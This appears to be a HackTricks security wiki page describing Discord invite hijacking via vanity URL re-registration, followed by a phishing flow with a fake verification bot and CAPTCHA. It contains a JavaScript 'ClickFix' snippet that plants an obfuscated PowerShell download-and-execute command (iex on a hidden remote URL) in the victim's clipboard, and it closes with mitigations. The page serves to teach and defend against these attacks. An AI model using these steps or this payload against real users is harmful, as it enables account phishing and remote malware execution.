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2025-07-12 10:48:33 +02:00

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Discord Invite Hijacking

{{#include ../../banners/hacktricks-training.md}}

Discords invite system vulnerability allows threat actors to claim expired or deleted invite codes (temporary, permanent, or custom vanity) as new vanity links on any Level 3 boosted server. By normalizing all codes to lowercase, attackers can pre-register known invite codes and silently hijack traffic once the original link expires or the source server loses its boost.

Invite Types and Hijack Risk

Invite Type Hijackable? Condition / Comments
Temporary Invite Link After expiration, the code becomes available and can be re-registered as a vanity URL by a boosted server.
Permanent Invite Link ⚠️ If deleted and consisting only of lowercase letters and digits, the code may become available again.
Custom Vanity Link If the original server loses its Level 3 Boost, its vanity invite becomes available for new registration.

Exploitation Steps

  1. Reconnaissance
    • Monitor public sources (forums, social media, Telegram channels) for invite links matching the pattern discord.gg/{code} or discord.com/invite/{code}.
    • Collect invite codes of interest (temporary or vanity).
  2. Pre-registration
    • Create or use an existing Discord server with Level 3 Boost privileges.
    • In Server Settings → Vanity URL, attempt to assign the target invite code. If accepted, the code is reserved by the malicious server.
  3. Hijack Activation
    • For temporary invites, wait until the original invite expires (or manually delete it if you control the source).
    • For uppercase-containing codes, the lowercase variant can be claimed immediately, though redirection only activates after expiration.
  4. Silent Redirection
    • Users visiting the old link are seamlessly sent to the attacker-controlled server once the hijack is active.

Phishing Flow via Discord Server

  1. Restrict server channels so only a #verify channel is visible.
  2. Deploy a bot (e.g., Safeguard#0786) to prompt newcomers to verify via OAuth2.
  3. Bot redirects users to a phishing site (e.g., captchaguard.me) under the guise of a CAPTCHA or verification step.
  4. Implement the ClickFix UX trick:
    • Display a broken CAPTCHA message.
    • Guide users to open the Win+R dialog, paste a preloaded PowerShell command, and press Enter.

ClickFix Clipboard Injection Example

// Copy malicious PowerShell command to clipboard
const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';` +
            `$u=($r[-1..-($r.Length)]-join '');` +
            `$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));` +
            `iex (iwr -Uri $url)"`;
navigator.clipboard.writeText(cmd);

This approach avoids direct file downloads and leverages familiar UI elements to lower user suspicion.

Mitigations

  • Use permanent invite links containing at least one uppercase letter or non-alphanumeric character (never expire, non-reusable).
  • Regularly rotate invite codes and revoke old links.
  • Monitor Discord server boost status and vanity URL claims.
  • Educate users to verify server authenticity and avoid executing clipboard-pasted commands.

References

{{#include /src/banners/hacktricks-training.md}}